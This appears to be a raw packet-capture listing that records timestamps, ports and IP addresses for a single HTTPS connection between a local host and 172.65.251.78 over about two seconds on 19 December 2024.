Dec 19, 2024 14:20:26.614037037 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.614058971 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.614115000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.620444059 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.620466948 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.620646000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.620657921 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.620800018 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.650949955 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.650970936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.651031017 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.651041031 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.651134014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.656826973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.656867027 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.656893015 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.656913042 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.656946898 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.670595884 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.670612097 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.670685053 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.670694113 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.718220949 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.718252897 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.718318939 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.718333006 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.718415976 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.722112894 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.722148895 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.722162962 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.722174883 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.722182035 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.722189903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.722243071 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.770493031 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.796617031 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.796633959 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.796659946 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.796672106 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.796674013 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.796704054 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.796706915 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.796991110 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.797009945 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.797060013 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.801274061 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.801289082 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.801314116 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.801321983 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.801357031 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.801373005 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.801450014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.801450014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.806026936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.806041956 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.806066036 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.806169033 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.806169033 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.806184053 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.806366920 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.833899975 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.833936930 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.834034920 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.834048986 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.834060907 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.834084988 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.840735912 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.840768099 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.840913057 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.840934038 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.841041088 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.862446070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.862479925 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.862552881 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.862571001 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.862618923 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.862618923 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.912071943 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.912111044 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.912200928 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.912214994 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.912259102 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.912273884 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.915877104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.915905952 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.916263103 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.916263103 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:26.916274071 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:26.916342020 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.031449080 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.031485081 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.031531096 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.031548023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.031721115 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.031721115 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.036112070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.036139011 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.036200047 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.036214113 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.036237955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.036453009 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.041246891 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.041273117 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.041346073 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.041363001 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.041408062 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.041528940 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.075289965 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.075310946 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.075440884 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.075440884 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.075473070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.075562954 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.079725981 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.079745054 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.079992056 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.080012083 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.080255985 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.107666969 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.107692957 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.107794046 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.107812881 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.107842922 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.108021021 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.135503054 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.135536909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.135626078 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.135626078 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.135637999 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.135698080 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.139199018 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.139219999 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.139332056 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.139338970 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.139450073 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.227391005 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.227418900 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.227530003 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.227546930 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.227622986 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.231777906 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.231803894 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.231874943 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.231883049 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.231949091 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.236776114 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.236795902 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.236876965 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.236884117 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.236962080 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.263628006 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.263694048 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.263801098 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.263811111 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.263878107 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.263878107 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.268369913 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.268388987 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.268440962 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.268448114 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.268496037 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.268496037 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.295955896 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.295975924 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.296114922 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.296133995 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.296225071 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.323971033 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.323993921 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.324259043 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.324286938 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.324361086 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.327585936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.327603102 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.327660084 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.327667952 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.327717066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.327717066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.416254997 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.416276932 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.416409016 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.416409016 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.416424990 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.416512966 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.421009064 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.421026945 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.421166897 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.421178102 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.421304941 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.425723076 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.425739050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.425858021 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.425867081 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.426047087 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.455492973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.455512047 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.455619097 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.455630064 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.455698013 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.461133957 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.461152077 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.461803913 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.461812973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.461885929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.488406897 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.488425016 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.488519907 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.488531113 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.488588095 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.516005993 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.516046047 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.516098976 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.516113043 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.516125917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.516160011 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.519165993 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.519197941 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.519268990 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.519274950 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.519294977 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.519321918 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.608978987 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.609005928 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.609181881 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.609181881 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.609194994 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.609416008 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.613728046 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.613749027 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.613982916 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.613991022 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.614052057 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.620842934 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.620862007 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.620949030 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.620956898 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.621052027 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.648850918 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.648868084 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.648960114 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.648968935 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.649276972 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.653930902 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.653947115 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.654103994 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.654103994 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.654114008 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.654263973 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.680910110 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.680928946 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.681071043 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.681083918 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.681184053 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.708838940 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.708858967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.708940983 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.708956957 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.709024906 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.712323904 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.712342024 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.712444067 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.712454081 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.712584019 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.801018953 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.801043987 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.801167965 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.801167965 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.801183939 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.801229000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.805548906 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.805565119 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.805711031 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.805722952 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.805825949 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.811302900 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.811323881 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.811629057 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.811629057 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.811636925 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.811691999 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.840657949 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.840677023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.843331099 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.843353987 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.844630957 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.845957041 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.845973969 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.847332001 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.847341061 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.847402096 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.872560024 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.872576952 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.872780085 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.872790098 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.874633074 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.900886059 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.900907040 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.901726007 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.901750088 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.901834011 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.904776096 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.904792070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.904917955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.904927015 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.905158043 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.995728970 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.995791912 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.995825052 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.995836973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:27.995877981 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:27.995891094 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.000621080 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.000690937 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.000734091 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.000742912 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.000756025 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.000859976 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.006370068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.006484032 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.006525040 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.006532907 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.006551981 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.006829023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.032072067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.032114029 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.032210112 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.032210112 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.032226086 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.032376051 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.038657904 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.038678885 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.038738012 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.038747072 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.038774014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.038824081 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.064753056 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.064775944 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.064903021 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.064903021 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.064914942 CET	443	49739	172.65.251.78	192.168.2.6
